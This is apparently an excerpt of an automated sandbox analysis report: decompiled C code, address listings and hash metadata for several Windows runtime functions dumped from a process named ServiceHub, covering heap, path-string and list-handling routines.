                                          0x0126ab04
                                          0x0126aa99
                                          0x0126aaa8
                                          0x0126aaaf
                                          0x0126aab3
                                          0x0126aacc
                                          0x0126aad1
                                          0x0126aad6
                                          0x0126aae0
                                          0x0126aaf3
                                          0x0126aaf9
                                          0x0126aafe
                                          0x0126aafe
                                          0x0126aaf3
                                          0x0126aad6
                                          0x0126aab3
                                          0x0126ab07
                                          0x0126ab0a
                                          0x0126ab11
                                          0x0126ab23
                                          0x0126ab13
                                          0x0126ab1c
                                          0x0126ab1c
                                          0x0126ab2b
                                          0x0126ab44
                                          0x0126ab44
                                          0x0126ab51
                                          0x0126ab51
                                          0x0126aa44
                                          0x0126aa47
                                          0x0126aa4c
                                          0x00000000
                                          0x00000000
                                          0x0126aa5a
                                          0x0126aa64
                                          0x0126aa72
                                          0x00000000
                                          0x0126aa66
                                          0x0126aa66
                                          0x0126aa68
                                          0x0126aa6a
                                          0x00000000
                                          0x0126aa6a

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
                                          • Instruction ID: 43d014ec53458e4d0efa4cc46322f4e5d278c4355a9c06549461580dad48749f
                                          • Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
                                          • Instruction Fuzzy Hash: 6C31F532B101466BEB158B69CC56BBFFBBEEFA0210F054469E905B72D1EA74DD80C650
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0126FDE2 Relevance: .1, Instructions: 116COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 76%
                                          			E0126FDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E0126FD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E01270A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E011C7D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E01261608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E01272B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E0126C8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E0126DBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E011C7D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E0126A80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}










                                          0x0126fde7
                                          0x0126fde8
                                          0x0126fdec
                                          0x0126fdee
                                          0x0126fdf5
                                          0x0126fdf7
                                          0x0126fdfc
                                          0x0126fe19
                                          0x0126fe22
                                          0x0126fe26
                                          0x0126fec6
                                          0x0126fecd
                                          0x0126fed5
                                          0x0126fee7
                                          0x0126fed7
                                          0x0126fee0
                                          0x0126fee0
                                          0x0126feef
                                          0x0126ff00
                                          0x0126ff02
                                          0x0126ff07
                                          0x0126ff07
                                          0x00000000
                                          0x0126feef
                                          0x0126fe33
                                          0x0126fe55
                                          0x0126fe59
                                          0x0126fe5b
                                          0x0126fe5e
                                          0x0126fe69
                                          0x0126fe6d
                                          0x0126fe6d
                                          0x0126fe69
                                          0x0126fe35
                                          0x0126fe41
                                          0x0126fe41
                                          0x0126fe79
                                          0x0126fe8b
                                          0x0126fe7b
                                          0x0126fe84
                                          0x0126fe84
                                          0x0126fe93
                                          0x00000000
                                          0x0126fea8
                                          0x0126feba
                                          0x00000000
                                          0x0126feba
                                          0x0126fdfe
                                          0x0126fe01
                                          0x0126fe02
                                          0x0126fe08
                                          0x0126ff0c
                                          0x0126ff14
                                          0x0126ff14

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
                                          • Instruction ID: 7c18ebd89af5bb4b4e69b202684a15933fddc83e861c43e2468f2df959bf5e41
                                          • Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
                                          • Instruction Fuzzy Hash: 773127323206826FDB229768DE65F6A7FEDEB95640F084058E6468B7C2DA70DC81C760
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0126EA55 Relevance: .1, Instructions: 111COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 70%
                                          			E0126EA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E011C2280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E0126E815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E011AF900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E011BFFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E0126AFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E0126BCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E011C7D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E0125FE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E011BFFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E0126A80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}






















                                          0x0126ea55
                                          0x0126ea66
                                          0x0126ea68
                                          0x0126ea6c
                                          0x0126ea6f
                                          0x0126ea72
                                          0x0126ea75
                                          0x0126ea7a
                                          0x0126ea7a
                                          0x0126ea7e
                                          0x0126ea80
                                          0x0126ea85
                                          0x0126ea8b
                                          0x0126eab5
                                          0x0126eabc
                                          0x0126eabf
                                          0x0126eabf
                                          0x0126eaca
                                          0x0126eace
                                          0x0126ead0
                                          0x0126eae4
                                          0x0126eaeb
                                          0x0126eaf0
                                          0x0126eaf5
                                          0x0126eb09
                                          0x0126eb0d
                                          0x0126eb1d
                                          0x0126eb2d
                                          0x0126eb38
                                          0x0126eb3d
                                          0x0126eb41
                                          0x0126eb4a
                                          0x0126eb60
                                          0x0126eb4c
                                          0x0126eb52
                                          0x0126eb59
                                          0x0126eb59
                                          0x0126eb68
                                          0x0126eb71
                                          0x0126eb71
                                          0x0126ea8d
                                          0x0126ea8f
                                          0x0126ea92
                                          0x0126ea97
                                          0x0126ea97
                                          0x0126ea9b
                                          0x0126ea9c
                                          0x0126ea9e
                                          0x0126eaa6
                                          0x0126eaa6
                                          0x0126eb7e

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
                                          • Instruction ID: 23cfd31b015789d50bd9cb0be711f9c5d5a3054e2f457e7ffa31aa4f67de3cf6
                                          • Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
                                          • Instruction Fuzzy Hash: 2631D2766247069BC719DF28C880A6BB7AEFBD0610F05492DF65287681EF30E805CBA1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 012269A6 Relevance: .1, Instructions: 108COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 69%
                                          			E012269A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x129d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L011B6C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E01226BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E011E9980() >= 0) {
							E011C2280(_t56, 0x1298778);
							_t77 = 1;
							_t68 = 1;
							if( *0x1298774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x1298774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E011AB6F0(0x118c338, 0x118c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E011E9520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E011E95D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E011BFFB0(_t68, _t77, 0x1298778);
				}
				_pop(_t78);
				return E011EB640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}
































                                          0x012269b5
                                          0x012269be
                                          0x012269c3
                                          0x012269c9
                                          0x012269cc
                                          0x012269d1
                                          0x012269d3
                                          0x012269de
                                          0x012269e1
                                          0x012269ea
                                          0x012269f6
                                          0x012269fe
                                          0x01226a13
                                          0x01226a14
                                          0x01226a15
                                          0x01226a16
                                          0x01226a1e
                                          0x01226a26
                                          0x01226a31
                                          0x01226a36
                                          0x01226a37
                                          0x01226a40
                                          0x01226a49
                                          0x01226a4a
                                          0x01226a53
                                          0x01226a59
                                          0x01226a5d
                                          0x01226a5e
                                          0x01226a64
                                          0x01226a67
                                          0x01226a6a
                                          0x01226a6d
                                          0x01226a70
                                          0x01226a77
                                          0x01226a7d
                                          0x01226a86
                                          0x01226a89
                                          0x01226a9c
                                          0x01226a9f
                                          0x01226aa2
                                          0x01226aa5
                                          0x01226aaf
                                          0x01226ab1
                                          0x01226ab8
                                          0x01226ab9
                                          0x01226abb
                                          0x01226abe
                                          0x01226ac5
                                          0x01226ac5
                                          0x01226aaf
                                          0x01226a40
                                          0x01226a26
                                          0x012269fe
                                          0x01226ace
                                          0x01226ad0
                                          0x01226ad3
                                          0x01226ad8
                                          0x01226adf
                                          0x01226adf
                                          0x01226ae8
                                          0x01226aef
                                          0x01226aef
                                          0x01226af9
                                          0x01226b06

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 00fde2ac8809ac95f93d080ceb0167a5a520c9c9a638be29d8929bc7e86ca091
                                          • Instruction ID: 1800d3bc3a9570c69956d1f7bc59ac5d82e4e50e3f78648141cdc337f0998791
                                          • Opcode Fuzzy Hash: 00fde2ac8809ac95f93d080ceb0167a5a520c9c9a638be29d8929bc7e86ca091
                                          • Instruction Fuzzy Hash: DE417EB2D0021DAFDB28DFA9D940BFEBBF5EF48718F14812AE915A7240DB749905CB50
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A5210 Relevance: .1, Instructions: 107COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 85%
                                          			E011A5210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E011A52A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E011E95D0();
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E011BEB70(_t54, 0x12979a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E011E95D0();
								L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E011BEB70(_t54, 0x12979a0);
						}
						return _t52;
					}
					L5:
					_t33 = E011EF3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E011BEB70(_t54, 0x12979a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E011E95D0();
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}














                                          0x011a5220
                                          0x011a5224
                                          0x01200d13
                                          0x01200d16
                                          0x01200d19
                                          0x011a522a
                                          0x011a522a
                                          0x011a522d
                                          0x011a522d
                                          0x011a5231
                                          0x011a5235
                                          0x011a5239
                                          0x01200d5c
                                          0x01200d62
                                          0x00000000
                                          0x00000000
                                          0x01200d6a
                                          0x01200d7b
                                          0x01200d7f
                                          0x01200d81
                                          0x01200d84
                                          0x01200d95
                                          0x01200d95
                                          0x01200d6c
                                          0x01200d71
                                          0x01200d71
                                          0x01200d9a
                                          0x00000000
                                          0x011a524a
                                          0x011a524a
                                          0x011a5250
                                          0x01200d24
                                          0x01200d35
                                          0x01200d39
                                          0x01200d3b
                                          0x01200d3e
                                          0x01200d50
                                          0x01200d50
                                          0x01200d26
                                          0x01200d2b
                                          0x01200d2b
                                          0x00000000
                                          0x01200d55
                                          0x011a5256
                                          0x011a525b
                                          0x011a5265
                                          0x01200da7
                                          0x011a526b
                                          0x011a526e
                                          0x011a5272
                                          0x01200db1
                                          0x01200db4
                                          0x01200dc5
                                          0x01200dc5
                                          0x011a5272
                                          0x011a5278
                                          0x011a527e
                                          0x011a528a
                                          0x011a528c
                                          0x011a528d
                                          0x00000000
                                          0x011a5280
                                          0x011a5282
                                          0x011a5288
                                          0x011a529f
                                          0x011a5292
                                          0x00000000
                                          0x011a5292
                                          0x00000000
                                          0x011a5288
                                          0x011a527e

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 81220450178fbaa5d67a9fdbd827f446185c7f56eb53db7ee32bcaf9e5e6ac31
                                          • Instruction ID: a8950957f90aef9ee2e6489992d15b28aa7489abd0c7a11138fb879d446b2435
                                          • Opcode Fuzzy Hash: 81220450178fbaa5d67a9fdbd827f446185c7f56eb53db7ee32bcaf9e5e6ac31
                                          • Instruction Fuzzy Hash: 8F312831265B02EBD72E9B18C885B6A7BB6FF207A4F11471AF5154B1D1D760E800CAA5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E3D43 Relevance: .1, Instructions: 106COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011E3D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E011B7B60(0, _t61, 0x11811c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E011B7B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L011C4620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}
















                                          0x011e3d4c
                                          0x011e3d50
                                          0x011e3d55
                                          0x011e3d5e
                                          0x0121e79a
                                          0x00000000
                                          0x0121e79a
                                          0x011e3d68
                                          0x0121e789
                                          0x011e3d9d
                                          0x011e3da3
                                          0x011e3daf
                                          0x011e3db5
                                          0x011e3dbc
                                          0x011e3dc4
                                          0x011e3dc9
                                          0x011e3dce
                                          0x0121e7ae
                                          0x0121e7ae
                                          0x011e3dde
                                          0x011e3de2
                                          0x011e3de7
                                          0x011e3e0d
                                          0x011e3e13
                                          0x011e3e16
                                          0x011e3e1e
                                          0x011e3e25
                                          0x011e3e28
                                          0x00000000
                                          0x00000000
                                          0x011e3e2a
                                          0x011e3e2f
                                          0x011e3e37
                                          0x011e3e37
                                          0x00000000
                                          0x011e3e37
                                          0x011e3e31
                                          0x00000000
                                          0x011e3e31
                                          0x011e3e20
                                          0x011e3e20
                                          0x011e3e35
                                          0x00000000
                                          0x011e3de9
                                          0x011e3de9
                                          0x011e3de9
                                          0x011e3dee
                                          0x011e3dfd
                                          0x011e3dff
                                          0x011e3e02
                                          0x011e3e05
                                          0x011e3e05
                                          0x00000000
                                          0x011e3df0
                                          0x011e3de7
                                          0x0121e78f
                                          0x0121e794
                                          0x011e3d79
                                          0x011e3d84
                                          0x011e3d89
                                          0x011e3d8e
                                          0x00000000
                                          0x0121e7a4
                                          0x011e3d96
                                          0x011e3d9a
                                          0x00000000
                                          0x011e3d9a
                                          0x00000000
                                          0x0121e794
                                          0x011e3d6e
                                          0x011e3d73
                                          0x00000000
                                          0x0121e7b5
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0fe5fbe2108a1419f61a5dbc7decf93048bd69b4feeff4fe5ad76b01a5bafc3a
                                          • Instruction ID: 8d3ef6d50ca62d47a6a61d381cd73b5fab7005a7eedf53b86a76524e9b35c41a
                                          • Opcode Fuzzy Hash: 0fe5fbe2108a1419f61a5dbc7decf93048bd69b4feeff4fe5ad76b01a5bafc3a
                                          • Instruction Fuzzy Hash: C631EF31A20A21DBD72ECF6DC845A6ABBF0FF95700B06806AE965CB390E731C841C791
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DA61C Relevance: .1, Instructions: 106COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 78%
                                          			E011DA61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x1280220);
				E011FD08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x1297b9c; // 0x0
				_t55 = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E011FD0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x1297b10 =  *0x1297b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x129536c; // 0x771a5368
					if( *_t51 != 0x1295368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x1295368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x129536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E011DA70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}


















                                          0x011da61c
                                          0x011da61e
                                          0x011da623
                                          0x011da628
                                          0x011da62b
                                          0x011da62d
                                          0x011da648
                                          0x011da64a
                                          0x011da64f
                                          0x01219b44
                                          0x011da6ec
                                          0x011da6f1
                                          0x011da6f1
                                          0x011da655
                                          0x011da657
                                          0x011da65a
                                          0x011da65d
                                          0x011da662
                                          0x011da663
                                          0x011da667
                                          0x011da668
                                          0x011da66d
                                          0x011da706
                                          0x011da706
                                          0x01219bda
                                          0x01219be6
                                          0x01219beb
                                          0x00000000
                                          0x01219beb
                                          0x011da679
                                          0x01219b7a
                                          0x00000000
                                          0x01219b7a
                                          0x011da683
                                          0x011da6f4
                                          0x011da6f7
                                          0x011da6f9
                                          0x011da6fd
                                          0x011da6a0
                                          0x011da6a0
                                          0x011da6ad
                                          0x011da6af
                                          0x011da6b4
                                          0x01219ba7
                                          0x01219bac
                                          0x00000000
                                          0x00000000
                                          0x01219bc6
                                          0x01219bce
                                          0x01219bd1
                                          0x01219bd3
                                          0x01219bd3
                                          0x00000000
                                          0x01219bd1
                                          0x011da6bd
                                          0x011da6c3
                                          0x011da6c6
                                          0x011da6d2
                                          0x011da701
                                          0x011da704
                                          0x00000000
                                          0x011da704
                                          0x011da6d4
                                          0x011da6d6
                                          0x011da6d9
                                          0x011da6db
                                          0x011da6e1
                                          0x011da6e6
                                          0x011da6e8
                                          0x011da6e8
                                          0x011da6ea
                                          0x00000000
                                          0x011da6ea
                                          0x011da688
                                          0x011da692
                                          0x011da694
                                          0x011da699
                                          0x00000000
